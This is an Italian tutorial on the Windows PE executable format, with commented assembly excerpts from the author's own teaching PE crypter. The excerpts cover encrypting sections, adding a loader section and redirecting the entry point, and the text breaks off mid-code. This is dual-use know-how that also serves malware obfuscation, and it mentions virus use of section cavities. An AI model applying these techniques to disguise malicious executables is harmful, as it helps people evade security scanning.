Quello che vi presento questa volta e' il primo di una serie di tre tutorial
sul formato PE e soprattutto sull'utilizzo/abuso che ne fanno i vari
PE-Crypters/Packers/Wrappers.
Come avete sicuramente notato negli ultimi tempi c'e' stata un'esplosione di
crypters e packers freeware/share/commerciali e sopratutto un loro massiccio
impiego come parte della protezione di un programma: questo si spiega con il
fatto che il formato PE e' oramai piu' o meno conosciuto e che soprattutto e'
noto come il loader di win95/Nt crea un processo a partire dall'immagine su
disco (qui dobbiamo ringraziare i vari Pietrek,Shulman,ecc. per aver aperto il
vaso di Pandora;)
Nel primo (quello che state leggendo :)) trattero' del formato PE in generale
e cerchero' di commentare i sorgenti di un semplice pe-crypter da me scritto
per l'occasione. Nel secondo parleremo di unpacking "a mano" o assistito :)
(Procdump,SoftDump,ecc.), ed infine nel terzo se tutto filera' liscio vedremo
come realizzare un decrypter e alcune tecninche anti-dumping.
Una premessa: nell'analizzare questo formato non mi dilungero' su quali siano
le origini di questo formato o su il significato di tutte le strutture e/o
campi che lo compongono:
in primo luogo perche' potete trovare dettagliate informazioni nei testi
riportati nella "letteratua", in secondo luogo perche' molte di queste
strutture/campi o non sono coerenti fra i vari linker o sono obsolete, o
semplicemente non sono fondamentali per i nostri scopi (ricordate che parliamo
di pe-crypters).

--==[ IL FORMATO PORTABLE EXECUTABLE ]==--------------------------------------

Per una visione di insieme del formato PE dobbiamo far ricorso alla fonte
princiapale di documentazione (l'unica prima dei testi di Pietrek e Kath):
winnt.h
Questo ominipresente file header (fornito con tutti gli SDK,DDK di M$)
contiene la definizione delle principali strutture e costanti che interessano
il formato PE, quindi per qualsiasi cosa dovremmo fare riferimento a questo
file. La principale caratteristica di questo formato e' la relativa facilita'
con cui il loader puo' reperire le informazioni con cui "creare" un nuovo
processo, che si traduce poi in una maggior velocita' di caricamento/esecuzione
di una applicazione/modulo, e chi ha presente il formato NE sa cosa voglio
dire!
Il layout di un exe PE e' tendenzialmente (si esatto proprio "tendenzialmen_
te"
) questo:

+===================+ +00 -> dos header.[3C] ---+
| DOS (MZ) Header | |
+-------------------+ +40 |
| DOS Stub | |
+===================+ +00 -> inizio PE header <-+
| NT (PE) Header |
|- - - - - - - - - -| +04
| file-header |
|- - - - - - - - - -| +1A
| optional header |
|- - - - - - - - - -| +78
| data directories |
| |
+===================+ <- PE header + FileHeader.SizeOfOptionalHeader +
| section headers | sizeOf(FileHeader)
| array |
~-------------------~
|......padding......|
~-------------------~
| |
| dati section2 |
| |
+-------------------+
| |
| dati section2 |
| |
+-------------------+
| .............. |
+-------------------+
| |
| dati section n |
| |
+-------------------+

Come vedete la prima struttura che incontriamo e' il DosHeader (buon vecchio
dos ;)):

IMAGE_DOS_HEADER STRUC
e_magic DW ? ;+00 ; Magic number
......
e_lfanew DD ? ;+3C ; Address of PE header
IMAGE_DOS_HEADER ENDS

Di questa struttura cio' che maggiormente ci interessa sono
e_magic : questa DW contiene la signature che identifica un file eseguibile
DOS valido ed e' definita come : 0x05A4 che corrisponde alla stringa
MZ (no dai!?? ;))
e_lfanew: questa DD invece e' invece la chiave di accesso alla nuovo header PE.
Si tratta di un RVA (ne parliamo dopo degli RVA) che punta al
l'inizio della struttura NT Headers. Di conseguenza se volete ad
exp. ottenere l'offset del PE Header relativo all'inizio di file
mappato in memoria dovrete prima leggere questo valore e quindi
sommarlo alla base del vista del Memory Mapped File (da ora MMF per
gli amici ;)
La presenza del campo e_lfanew si spiega con il fatto che di seguito al Dos
Header possiamo trovare uno stub ms-dos: questo altro non e' che quel
mini-programma ci avverte cordialmente :)) che l'eseguibile e' destinato
all'ambiente Win32,OS/2, ecc.. Dato che questo stub e' _opzionale_ si e' reso
necessario fornire un pratico sistema al loader per evitare di impaltanarsi
nel caso lo stub non fosse linkato o di dimensioni diverse.

Ora guardiamo piu' in dettaglio la struttura IMAGE_NT_HEADERS:

31 0 31 0
+-------------------------------------------------------+ <--+
| SIGNATURE | MACHINE | # SECTIONS | |
+---------------------------+-------------+-------------+ | Signature +
| TIME/DATE STAMP | POINTER TO SYMBOL TABLE | | FileHeader
+---------------------------+-------------+-------------+ |
| NUMBER OF SYMBOL | NT HDR SIZE| IMAGE FLAGS | <--+
+=============+======+======+=============+=============+ <--+
| MAGIC |LMAJOR|LMINOR| SIZE OF CODE | |
+-------------+------+------+---------------------------+ |
| SIZE OF INITIALIZED DATA | SIZE OF UNINITIALIZED DATA| |
+---------------------------+---------------------------+ |
| ENTRYPOINT RVA | BASE OF CODE | |
+---------------------------+---------------------------+ |
| BASE OF DATA | IMAGE BASE | |
+---------------------------+---------------------------+ |
| SECTION ALIGNMENT | FILE ALIGNMENT | |
+-------------+-------------+-------------+-------------+ | Optional Header
| OS MAJOR | OS MINOR | USER MAJOR | USER MINOR | |
+-------------+-------------+-------------+-------------+ |
| SUBSYS MAJOR| SUBSYS MINOR| WIN32 VERSION | |
+-------------+-------------+---------------------------+ |
| IMAGE SIZE | HEADER SIZE | |
+---------------------------+-------------+-------------+ |
| FILE CHECKSUM | SUBSYSTEM | DLL FLAGS | |
+---------------------------+-------------+-------------+ |
| STACK RESERVE SIZE | STACK COMMIT SIZE | |
+---------------------------+---------------------------+ |
| HEAP RESERVE SIZE | HEAP COMMIT SIZE | |
+---------------------------+---------------------------+ |
| LOADER FLAGS | # INTERESTING RVA/SIZES | |
+===========================+===========================+ | <-+
| EXPORT TABLE RVA | TOTAL EXPORT DATA SIZE | | |
+---------------------------+---------------------------+ | |
| IMPORT TABLE RVA | TOTAL IMPORT DATA SIZE | | |
+---------------------------+---------------------------+ | |
| RESOURCE TABLE RVA | TOTAL RESOURCE DATA SIZE | | |
+---------------------------+---------------------------+ | |
| EXCEPTION TABLE RVA | TOTAL EXCEPTION DATA SIZE | | |
+---------------------------+---------------------------+ | |
| SECURITY TABLE RVA | TOTAL SECURITY DATA SIZE | | | Data
+---------------------------+---------------------------+ | | Directory
| FIXUP TABLE RVA | TOTAL FIXUP DATA SIZE | | |
+---------------------------+---------------------------+ | |
| DEBUG TABLE RVA | TOTAL DEBUG DIRECTORIES | | |
+---------------------------+---------------------------+ | |
| IMAGE DESCRIPTION RVA | TOTAL DESCRIPTION SIZE | | |
+---------------------------+---------------------------+ | |
| MACHINE SPECIFIC RVA | MACHINE SPECIFIC SIZE | | |
+---------------------------+---------------------------+ | |
| THREAD LOCAL STORAGE RVA | TOTAL TLS SIZE | | |
+---------------------------+---------------------------+ | |
| LOADER CONFIGURATION RVA | LOADER DATA SIZE | | |
+---------------------------+---------------------------+ | |
| BOUNDED IMPORTS TABLE | BOUNDED IMPORTS DATA SIZE | | |
+---------------------------+---------------------------+ | |
| IMPORT ADDRESSES TABLE | TOTAL IAT SIZE | | |
+---------------------------+---------------------------+ <--+ <-+


come vedete e' l'unione di due strutture , l'IMAGE_FILE_HEADER e
IMAGE_OPTIONAL_HEADER, piu' una DWORD, la c.d. signature: questo ci porta ad
una prima considerazione ovvero che gli headers del PE sono _CONSECUTIVI_ in
memoria (o su disco) e quindi i campi possono essere letti con semplicita'
come offsets relativi all'inizio degli NT headers.
Ora analizziamo i campi piu' importatanti (per questioni di spazio non riporto
la dichiarazione degli headers, plz fate riferimento al file imghdr.inc)

* Signature : questo signature ha la funzione di identificare il tipo di
eseguibile e il S.O. (o sottosistema per NT) a cui e' destinato
l'eseguibile; ad esempio :
IMAGE_OS2_SIGNATURE 0x0454E = NE = new executable = os/2 o win3x
IMAGE_NT_SIGNATURE 0x000004550 = PE00 = win9x / winNT

#IMAGE_FILE_HEADER#

* Machine: indica il processore target (ricordate che NT e' multiplatform)
* TimeDateStamp: time stamp usata per identificare la versione del modulo (ad
esempio nel meccanismo di import binding), ma spesso inconsistente.
Non fidatevi!
* NumberOfSections: indica il numero di sezioni presenti, nonche' il numero di
entries nel section headers table. In teoria dovrebbe essere
consistente con il numero di sezioni presenti ma non fidatevi visto
che il loader non pare curarsene.
* ImgFlags: indica il tipo di immagine (ad esempio eseguibile,dll) ed alcune
caratteristiche che la riguardano e che sono derivate dalle
opzioni di compilazione/linking (ad esempio se sono presenti le
informazioni di debug,numeri di linea,ecc. se e' stata impostata
una imagebase fixed,ecc.
*SizeOfOptionalHeaders: indica la size degli optional headers (normamente
0xE0). La presenza di questo campo e' la conseguenza della natura
estensibile del formato PE.

#IMAGE_OPTIONAL_HEADER#

Questa struttura e' diciamo la piu' importante, in quanto raccoglie molte
delle informazioni vitali che verranno utilizzate dal loader per recuperare i
dati dalle sezioni e quindi creare il process in memoria. Anche in questo caso
analizzeremo le piu' importanti in quanto come vi ho gia' anticipato gli altri
campi non appaiono essere consistenti da linker a linker o tra versioni
diverse di questi, o addirittura ignorati (rientrano in questa categoria anche
i vari SizeOfCode,SizeOfInitializedData,SizeOfUnitializedData):

* AddressOfEntryPoint: questo campo contine l'RVA dell'entrypoint del modulo,
cioe' il punto in cui il loader trasferira' l'esecuzione una volta
terminata la fase di caricamento/ inizializzaione: inevitabilmente
punta all'interno di una sezione che possiede i flag
readable/executable (solitamente .text, CODE)
* BaseOfCode: indica l'RVA della prima sezione di codice (.text, CODE) ed
utilizzata presumibilmene dal loader nella fase di mapping per
settare gli attributi di pagina
* BaseOfData: idem come sopra ma per la prima sezione dati
* ImageBase: questo campo e' di vitale importanza in quanto riporta la
cosidetta "preferred imagebase" ovvero l'indirizzo lineare nello
spazio di indirizzamento privato utilizzato dal linker per
risolvere gran parte dei fixup nonche' la base a cui si riferiscono
tutti gli RVA: questo significa che se il loader di windowz deve
mappare l'immagine ad un indirizzo diverso sara' necessario
applicare le base relocations (parlero piu' in dettaglio delle
implicazini della imagebase nella sezione RVA e base rilocations).
* SectionAlignment: quando il loader di window mappa in memoria il file
immagine utilizza i MMF in modo che occupi uno blocco consecutivo
di memoria nello spazio di indirizzamento.Tuttavia per questioni
di ottimizzazione nella gestione della memoria virtuale (ad exp.
nello share di porzioni di codice, nel caricamento di pagine non
presenti,ecc.) in w9x ogni sezione deve essere allineata ad un
multiplo della unita' minima gestita dal VMM : 1 pagina x86 = 4096
= 1000h (attenzione a non confonderla con la granularita' di
allocazione che e' di 64k). Questa limitazione non si applica a NT
(il minimo e' 32byte) ma non credo che vogliate degli eseguibili
"incompatibili".
* FileAlignment: questo campo e' un antico retaggio di quando windowz95
utilizzava il filesystem FAT, e per ottimizzare i caricamenti si
era pensato di allineare i dati delle sezioni su disco ad un
multiplo della grandezza di un settore (200h = 512 b).
Nel caso sia necessario i linkers zero-paddano (azz che espessione
:) lo spazio non utilizzato.
* SizeOfImage: ecco un esempio di come i membri della famiglia Win32 non
comunichino molto!:) questo campo riporta la grandezza del
l'immagine una volta in memoria e quindi lo spazio totale che il
loader deve riservare per il suo caricamento. E' costituita dalla
somma dell'header + le VirtualSize delle sezioni presenti ed
arrotondata al multiplo piu' vicino della SectionAlignment.
Quest'ultimo fatto e' stato fonte di problemi per molti coders che
avevano testato le loro creature solo con win95 dato che questo
ignora l'allineamento continuando pacificamente mentre NT si
inkazza non poko se non trova un valore consistente.
Mi raccomando non fate inkazzare NT ;)
* SizeOfHeaders: il valore qui riportato altro non e' che la somma delle
imensioni dei vari headers che precedono i dati delle sections
(DosHeader+Stub+NtHeaders,SectionHeaders):
in sostanza e' una sorta di puntatore ai rawdata dato che
ImageBase+SizeOfHeaders vi porta direttamente all'inizio della
prima sezione, sia che stiate lavorando con l'immagine di un
processo in memoria,o su disco/MMF.
* CheckSum: altro esempio di differente comportamento fra 9x/Nt: questo valore
rappresenta un checksum dell'immagine del file PE, concepita per
evitare che il loader carichi un eseguibile corrotto e/o
inconsistente, solo che questa verifica e' effettivamente compiuta
solo dal loader di NT e esclusivamente per file di sistema. Win9x
ignora totalmente questo campo tant'e' che i linker normalmente
lasciano a 0 questo campo. Nel caso vogliate modificare un PE che
sapete essere di utilizzato da Nt a livello di sistema (ad exp. un
service, una dll, ecc.) e' auspicabile che aggorniate correttamente
il campo. L'algoritmo di calcolo e' ofcoz propietario M$ ma cmq e'
possibile utilizzare la funzione CheckSumMappedFile esportata dalla
ImgHlp.dll ormai molto in voga sui sistemi M$;)
* NumberOfRvaAndSizes: questo campo indica la dimensione dell'array di
strutture IMAGE_DATA_DIRECTORY che inizia dal campo DataDirectory.
Attualmente e' fissato a 16 elementi ma non necessariamente per
sempre ;)
* DataDirectory: questo pseudocampo in realta e' un array di strutture che
rappresentano per il loader una sorta di shortcut per accedere
velocemente alle informazioni piu' sensibili per la
creazione/inizializzazione del processo: ogni entry (indici da
0..15) riporta l'RVA e la VirtualSize di specifiche
informazioni/strutture:
le piu' importati sono:
0 : funzioni esportate dal modulo (ET)
1 : funzioni importate ma non bounded (IT)
2 : inizio della resource directory (resROOT)
5 : base relocations
9 : blocco thread local storage (TLS)
11: funzioni importate bound (BIT)
12: import addresse table (IAT)
Una cosa importante da dire e' che il loader fa sempre riferimento
a questa tabella per accedere ai dati del processo e non alla
tabella dei section headers.
Se volete ad exp. reperire le informazioni su dove reperire le
risorse (ad exp. per evitare di criptarle) non utilizzate i nomi
delle section tipo .rsrc visto che questi sono _puramente_
convenzionali: nessuno ci garantisce cosa ci sia dentro o che
qualcuno li abbia rinominati (molti crypters lo fanno). Detto
questo va da se che i dati qui presenti devono essere ASSOLUTAMENTE
coerenti o il programma si piantera'inesorabilmente.

Di seguito al OptionalHeader inzia l'array di strutture IMAGE_SECTION_HEADER
noto come sections table: ogni elemento di questo array descrive i dati
essenziali di una sezione presente nel file di cui come al solito analizziamo
i piu' importanti:
* SName: stringa di 8 byte con il nome della sezione (attenzione che non e'
null termined)
* SVirtualSize: convenzionalmente contiene la dimensione fisica (vedi
SizeOfRawData) dei dati arrotondata ad un multiplo del section
aligment. Questo campo in pratica dovrebbe dire al loader quanto
spazio riservare in memoria per questa sezione. Notate che ho usato
il condizionale perche' il loader sembra perfettamente ignorare
questo campo in presenza di una rawsize "valida" ed effetuare da se
i calcoli per una VSize corretta. Questo probabilmente spiega anche
il fatto che la ImageSize venga ignorata da w9x. Cmq e' anche
perfettamente lecito avere una rawsize = 0 e una VSize=0x1000,
tant'e' che i packer sfruttano proprio questa caratteristica
cambiando la rawsize ma lasciando inalterata la VSize (a dir il
vero la VSize puo' anche sovrapporsi alla sezione successiva dato
che e' cmq uno spazio solo "riservato" e non necessariamente
utilizzato) purche' ovviamente non ci sia vera sovrascrizione :)
Morale: il loader di win32 e' meno fesso del previsto, e scieglie
con oculatezza (in pratica e' probabile faccia max(VSize,RawSize)
quali informazioni siano piu' coerenti o se le calcola da se.
Prendete esempio :))
* SVirtualAddress: tada'ecco un altro RVA :) .. questo permette di calcolare
la posizione che avra' la sezione una volta caricata in memoria
dal loader. Come ormai avrete capito deve essere maggiore, o un
multiplo, del section alignment (che lo ricordiano non puo' essere
minore di 0x1000 per compatibilita' con 9x)
* SizeOfRawData: la dimensione fisicamente occupata dai dati su disco
solitamente allineata al file alignment. Questo campo puo' essere
totalmente indipendente dalla VSize ad exp. spesso incontrerete
sezioni con rawsize = 0 ma che occupano spazio in memoria
(tipicamente sezioni con dati non inizializzati (BSS, TLS, ecc.),
ma cmq e'importante capire che almeno uno dei due valori dovra'
contenere l'informazione dello spazio da minimo da riservare in
memoria. Tenete conto di questa anomalia quando calcolate la
ImageSize.
* PointerToRawData: l'offset "fisico" a cui troverete i dati della sezione
* SFlags: i flag che identificano le caratterestiche (codice,dati,ecc.) e
quindi le i flags e le protezioni di pagina che verranno applicate
(writable,readable,ecc.)

Bene abbiamo analizzato gli headers che precedono i dati veri e propri delle
sezioni..resta solo da notare che in effetti tra la fine dell'ultimo section
header e l'inizio dei dati spesso si trova una "cavita'" ovvero un blocco non
utilizzato ma presente per questioni di allineamento. Queste cavita' presenti
anche tra le sezioni possono essere sfruttate per salvare codice e/o dati a
patto che siano abbastanza grandi (i virus sono un classico esempio di
utilizzatori di queste cavita'). Fra tutte queste cavita' quella che piu' ci
interessa (miii che squallidi doppi sensi ;)) e' proprio quella fra la
sections table e l'inizio della prima sezione, in quanto e' li che possiamo
introdurre una nuova sezione seplicemente incrementando il campo FileHeader.
NumberOfSection e accodando una struttura IMAGE_SECTION_HEADER all'array..
ovviamente questo discorso e' valido se c'e' abbastanza spazio (attenzione
che per spazio va inteso quella tra la fine degli NTHeaders e l'RVA della
prima sezione e non solo lo spazio "fisico", che normalmente e' minore per via
che di solito file alignment < section alignment) alrimenti dobbiamo
"necessariamente" appendere il nostro codice/dati nell'ultima sezione del file
(oddio non e'proprio necessario che sia l'ultima, potremmo sciegliere una
sezione qualsiasi, ma sicuramente e' molto piu' semplice che alterare gli RVA
di tutte quelle sucessive).

Ok, ora dovremmo trattare le strutture collegate alla IT,(la ET la trattero'
nel terzo tutorial), rilocazione e alle risorse ma credo che sia meglio che
le vediate all'opera quando commentero' il codice del crypter. Prima di
tuffarci nel codice sara' pero' il caso che parliamo dei concetti di ImageBase
e RVA che come avrete constatato permeano tutta la struttura del PE.

#ImageBase e Relative Virtual Address#
L'image base e' sostanzialmente l'indirizzo lineare a cui il loader mappera'
l'immagine dell'eseguibile quando crea un nuovo processo, o carica un modulo
(DLL). Questo indirizzo, riportato nel campo OptionalHeader.ImageBase, e'
_specifico_ per ogni eseguibile ed e' essenzialmente l'indirizzo utilizzato
(o specificato da noi) dal linker per risolvere i fixup. Tuttavia non sempre
il loader puo' caricare l'immagine alla ImageBase specificata (detta appunto
"preferred"): questa eventualita' (chiamata "collisione"), e' sostanzialmente
impossibile per gli eseguibili (ovviamente se consideriamo il fatto che ogni
processo win32 ha un suo spazio di indirizzamento "assolutamnete" privato..
per gli exe vedrete infatti sempre specificata come imagebase 0x400000) ma e'
altamente probabile per una DLL che invece puo' essere caricata nello arena
condivisa ( > 2gb e < 3gb in 9x; Nt non ha spazi r3 shared) o cmq in un'area
gia' impegnata da una precedente allocazione di memoria. Se si verifica una
collisione il loader per permettere all'esegubile di funzioanare sara'
costretto ad applicare la c.d. base relocation, a patchare cioe' tutti qui
riferimenti assoluti che il programma utilizza in modo che siano di nuovo
coerenti. Considerati questi problemi si e' pensato di "virtualizzare" gli
indirizzi assoluti almeno delle strutture utilizzate dal loader rendendo cosi'
possibile referenziare le informazioni salvate dal linker a prescindere dalla
imagebase: ecco quindi nascere l'idea dell'RVA, che e' appunto un scostamento
relativo alla imagebase: quindi se volete leggere il valore di una DWORD che
sta ad un RVA = 1234 basta che gli sommiate l'imagebase ed otterrete il suo
Virtual Address (VA) cioe' l'indirizzo nello spazio di indirizzamento del
processo:

VA = RVA + ImageBase
0x401234 = 0x1234 + 0x400000

Ovviamente questo ragionamento e' valido se l'eseguibile e' stato mappato
dal loader, perche' come

  
sappiamo questo terra' conto del section alignment...
ma se volessimo ottenere un offset "fisico" (su disco,MMF) dato un VA ?
in questo caso dovremmo utilizzare le informazioni relative alla sezione che
contiene quell'indirizzo (ovviamente dobbiamo trovarla cercando nella section
table verificando che SVirtualAddress <= VA <= SVirtualAddress + SVirtualSize),
relativizzare l'indirizzo rispetto all'inizio di quella sezione sottraendo
l'imagebase e VA della sezione, ottenendo cosi' un offset che andremo a
sommare all'offset fisico della sezione stessa:

RAW OFS = (VA - ImageBase - SVirtualAddress) + PointerToRawData
0x834 = (0x401234 - 0x400000 - 0x1000 ) + 0x600

Bene questo e' tutto per i concetti di base: ora passiamo al codice vero e
proprio.


--==[ UN ESEMPIO PRATICO ]==-------------------------------------------------------------------

I sorgenti che vi presento sono un esempio di semplice scheletro di crypter
che supporta sia l'append che l'inserimento di una nuova sezione. Il crypter
e' capace di gestire sia sezi oni codice, dati (esclusa .rdata), relocations
info,import table, e risorse. Quello che ancora non fa e' gestire tutta la
casistica presente nei formati PE diciamo "non convenzionali" (come al solito
mamma M$ in testa!) , e cioe' forwarding , pre-binding old-style e new-style,
deferred dll, o la gestione del TLS. Altra mancanza di rilievo (voluta visto
che l'ho fatto in poko tempo e che sono sorgenti didattici.. ehhe non posso
mika svelarvi tutto del crypter che sto facendo :)) e l'assenza di forme di
anti-dump, anti-debug o anti-disasm. Ad ogni buon conto e' sufficientemente
completo per iniziare a capire il funzionamento del PE. Ovviamente non vi
riporto qui tutti i sorgenti (fate riferimento a pesentry.asm) ma solo alcuni
passaggi diciamo piu' cruciali ed alcune scelte d'implementazione.

open_file:
mov [lpszFileName],edi

call OpenFileEx ; open file with attribes ovveride
cmp eax, INVALID_HANDLE_VALUE
jz @@file_error

prima considerazione : la funzione OpenFileEx apre il file assicurandosi pero'
di salvare gli attributi del file nonche' data,ora di creazione,ecc.. mi
sembra un modo + pulito di operare :)

add eax,loader_len+(2000h) ; loader size + typical file align * 2

call CreateFileMapping,[hFile],NULL,PAGE_READWRITE,0,eax,NULL
or eax,eax
jz @@unable_to_map

mov [hFileMap],eax

call MapViewOfFile,eax,FILE_MAP_WRITE,0,0,0 ; map entire file
or eax,eax
jz @@unable_to_map

mov [Image_Base],eax
mov edi,eax

come vedete ho scelto di utilizzare i MMF per manipolare l'eseguibile, la
ragione e' che in questo modo posso gestire gli offset direttamente come
scostamenti in memoria essendo sicuro di avere il file mappato in modo lineare.
Questo metodo di procedere e' in sostanza lo stesso che utilizza il loader..
va notato pero' che i MMF hanno una loro piccola pecca, non possono essere
ridimensionati una volta creati.. cio' ci costringe a prevedere un blocco
abbastanza grande da contenere anche il nostro loader: sara' sufficente che
sommiamo alla dimensione del file la size del codice/dati nostro loader + 2
pagine. Se prevedete di realizzare un packer o cmq di manipolare pesantemente
il PE , vi consiglio (vero xOA ? :) di usare buffers allocati con
VirtualAlloc che sono modificabili senza denneggiare i dati gia' caricati
(VirtualReAlloc).
Il puntatore ottenuto dalla MapViewOfFile costituisce ora la nostra ImageBase.
Una piccola nota: come vedete i commenti nei sorgenti sono in inglese.. ehhe
ragazzi sorry ma sono abituato cosi'.. l'inglese e' piu' conciso per certe
cose :)

call GetNtHeader
or eax,eax ; on exit EDI = lpPEHeader
jnz @@invalid_pe

mov [lpPEHeader],edi

questa call esegue un check per verificare che effetivamente abbiamo a che
fare con un file pe eseguibile e nel caso affermativo torna il ptr al
NTHeaders:

GetNtHeader:
push ebp
mov ebp,esp
push ebp ; save safe ESP
push offset @@on_PE_except ; our simple handler
push dword ptr fs:[0] ; save previous frame
mov fs:[0],esp ; establish our SEH frame
cmp word ptr [edi],IMAGE_DOS_SIGNATURE ; check MZ signature
jnz short @@not_PE
mov eax,[edi.e_lfanew]
add edi,eax
cmp dword ptr [edi],IMAGE_NT_SIGNATURE ; check PE signature
jb short @@not_PE
mov eax,dword ptr [edi.FileHeader.ImgFlags]
not al
or al,IMAGE_FILE_EXECUTABLE_IMAGE ; check for executable flag
jz short @@is_PE
or ax,IMAGE_FILE_DLL
jz short @@not_PE

@@is_PE:xor eax,eax
jmp short @@valid_pe
@@on_PE_except:
mov eax,[esp+8] ; get ERR structure
mov ebp,[eax+8] ; ERR + 8 = safe ESP
@@not_PE:
stc
sbb eax,eax
@@valid_pe:
pop dword ptr fs:[0] ; remove SEH frame
mov esp,ebp
pop ebp
ret

come vedete verifico le due signature e la presenza dei flag caratteristici
degli eseguibili.. l'unica cosa degna di nota oltre a questo e' la presenza
di un exception frame.. un modo decisamente piu' rapito che una serie di call
a IsBadxxxxxPtr,ecc. per verificare i puntatori. da qui in poi EDI sara' il
puntatore agli NTHeaders

movzx eax, [edi.FileHeader.SizeOfOptionalHeader] ; size of optional header
lea eax,[edi+eax+18h]
mov [lpSectionTable],eax

qui otteniamo il puntatore all'inizio della Section table, che ci servira' per
leggere le info di ogni section e per aggiungere il nostro loader creando una
sezione nuova o espandendo l'ultima

mov eax,[edi.OptionalHeader.ImageBase]
mov eax,400000h
mov [preferred_base],eax
mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress]
mov [it_rva],eax
mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_EXPORT).VirtualAddress]
mov [et_rva],eax
mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress]
mov [reloc_rva],eax
mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_TLS).VirtualAddress]
mov [tls_rva],eax
mov eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RESOURCE).VirtualAddress]
mov [rsrc_rva],eax

qui salviamo in variabili statiche allocate nel loader gli RVA delle principali
directories che poi ci serviranno sia per modificare gli RVA in modo che
puntino alle nostre stutture sia al loader per riaggiuistare le cose a
runtime. (nota il mov 0x400000 e' li' nel caso vogliate sperimentare con la
rilocazione.. in questo caso dovrete cambiare l'imagebase del file da procdump
in modo da forzare il load ad un altro linear address.
Fatto questo si passa a cryptare le varie sezioni:

encrypt_objects:
movzx edx,[edi.FileHeader.NumberOfSections] ; number of section as counter
xor ebx,ebx

@@next_obj:
call IsEncryptableObj ; check if section is encryptable
or eax,eax
jz short @@proceed
mov dword ptr [crypt_flag],20202020h ; display status = skipped
jmp short @@no_encrypt

come counter per il loop utilizziamo il numero di sezioni riportate nel
l'optional header: questo potrebbe essere una potenziale fonte di problemi
visto che come ho detto il loader non si fila molto questo valore. per cui in
un file potrebbe essere maliziosamente (si' perche' non vedo quale cacchio di
linker si metterebbe a giocare con questo campo!??) incoerente. So far so
good.. continuiamo.. la call IsEncryptableObj verifica che la sezione che
stiamo per elaborare sia effetivamente criptabile: ad exp. la sezione .rdata
e' una una di quelle che ci conviene evitare visto che e' spesso utilizzata
da M$ (mortacci a loro!) per inserirci la export, la TLS,ecc. altra sezione
da cui star lontano e' .edata che dovrebbe contenere esplicitamente la export
table.. come criterio di verifica ho adottato un check "euristico" basato
sugli rva presenti nella DataDirectory, sulle rawsize delle sezioni, tranne
che per .rdata che e' verificata in base al nome :(
Ora qui si pone un interessante problema: ma se ad exp. la export table fosse
contenuta nella sezione .text (altra porkeria assolutamente possibile ma
abbastanza remota per fortuna) il crypter skipperebbe tutta la sezione..
risposta positiva !.. per ovviare al problema bisogna identificare dove
risiedono i blocchi non cryptabili in termini di RVA e quindi costruirsi una
mappa di quello che si deve effettivamente cryptare (puo' bastare un array
RVA + SIZE) che poi verra' usata sia dalla routine di encryption che dal
loader. Ovviamente in questo sorgente non e' implementato questo meccanismo
(te pareva ;)) perche' avrebbe complicato il codice che e' gia lungo di per
se'..

@@proceed:
mov eax,[esi.SVirtualAddress]
mov [section_array.section_rva+ebx*8], eax ; save rva to loader table
mov ecx,[esi.SizeOfRawData]
mov [section_array.section_vsize+ebx*8], ecx ; save raw size

ok.. se siamo qui vuol dire che la sezione e' criptabile.. salviamo gli RVA e
le dimensioni delle sezioni cryptate in una tabella in modo che il loader
sappia cosa abbiamo criptato... quindi usiamo SizeOfRawData come grandezza
del blocco da crittare
pusha ; save lpPEHeader
mov edi,[esi.PointerToRawData] ; calc pointer to raw data
add edi,[Image_Base]
cmp eax,[rsrc_rva]
jz short @@handle_res
call Encrypt
jmp short @@dummy_e
@@handle_res:
mov eax,offset ResEncryptCallBack
call EnumResources
@@dummy_e:
popa

inc ebx ; update loader table index
inc byte ptr [sections_num] ; update loader section counter
mov dword ptr [crypt_flag],53455920h ; display status = processed

ok.. questo codice mi pare autoesplicativo.. innanzitutto calcola il ptr ai
dati in memoria quindi verifica che quella che stiamo elaborando non sia la
sezione delle risorse.. in caso affermativo switcha alla routine di
attraversamento dell'albero delle risorse (la spieghero' piu' avanti..) quindi
incrementa il contatore delle sezioni effetivamente criptate che poi il loader
usera'a runtime..

@@no_encrypt:
call show_stats ; display some stats
or [esi.SFlags],IMAGE_SCN_MEM_WRITE ; enable write bit always
add esi,IMAGE_SECTION_HEADER_ ; next section in table
dec edx
jnz short @@next_obj
ret

questa parte invece merita qualche commento perche' immagino qualcuno si stia
domandando perche' setto il flag writable per tutte le sezioni e non solo per
quelle criptate.. la ragione e' semplice: la base rilocation! gia'.. sicomme
saremo noi a gestirla al posto del loader dobbiamo assicurarci che ogni
sezione sia scrivibile alrimenti a runtime dovremmo usare WriteProcessMemory
per superare le protezioni di pagina ed applicare i fixup.. per inciso questo
e' uno dei classici indicatori per sapere se un file e' cryptato con un
crypter che gestiste anche la .reloc

movzx eax,[edi.FileHeader.NumberOfSections] ; number of sections
inc eax ; +1
mov ecx,IMAGE_SECTION_HEADER_ ; * sizeOf(section_header)
mul ecx ;
add eax,[lpSectionTable] ; offset of object table
mov esi,eax
mov edx,edi ; + lpPEHeader
add edx,[edi.OptionalHeader.SizeOfHeaders] ; + SizeOfHeaders
cmp eax,edx
jg @@append_to_last

ecco qui un'altra porkeria ;) : questo blocco verifica nel modo piu' semplice
se c'e' abbastanza spazio tra la fine della section table e l'inizio delle
raw section in caso positivo il crypter creara' una nuova section. Se invece
non dovesse essereci spazio optera' per l'append. Ora vediamo in breve in
meccanismo di aggiunta di una section:

sub esi,IMAGE_SECTION_HEADER_
mov [lpLoaderSection],esi7
inc [edi.FileHeader.NumberOfSections] ; add our section

ok.. otteniamo in ESI un puntatore allo spazio non utilizzato che segue
l'ultima section; e quindi incrementiamo il numero di sezioni nell'header

mov eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualSize]
mov ebx,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData]
cmp ebx,eax
jle @dummy_sz
xchg eax,ebx
@dummy_sz:
add eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualAddress]
call SectionAlign
mov [ldr_obj_VA],eax
mov [loader_rva],eax

ora dobbiamo calcolare l'RVA della nostra nuova sezione in memoria, come
vedete il codice utilizza la maggiore quantita' fra la VSize e SizeOfRawData
allineata al section alignment e la somma al VA dell'ultima sezione; il fatto
di utilizzara max(VSize,RawSize) e' quello che io chiamo safe programming..
come dire meglio prevenire che curare ;)

xchg dword ptr [edi.OptionalHeader.AddressOfEntryPoint],eax
mov [original_erva],eax

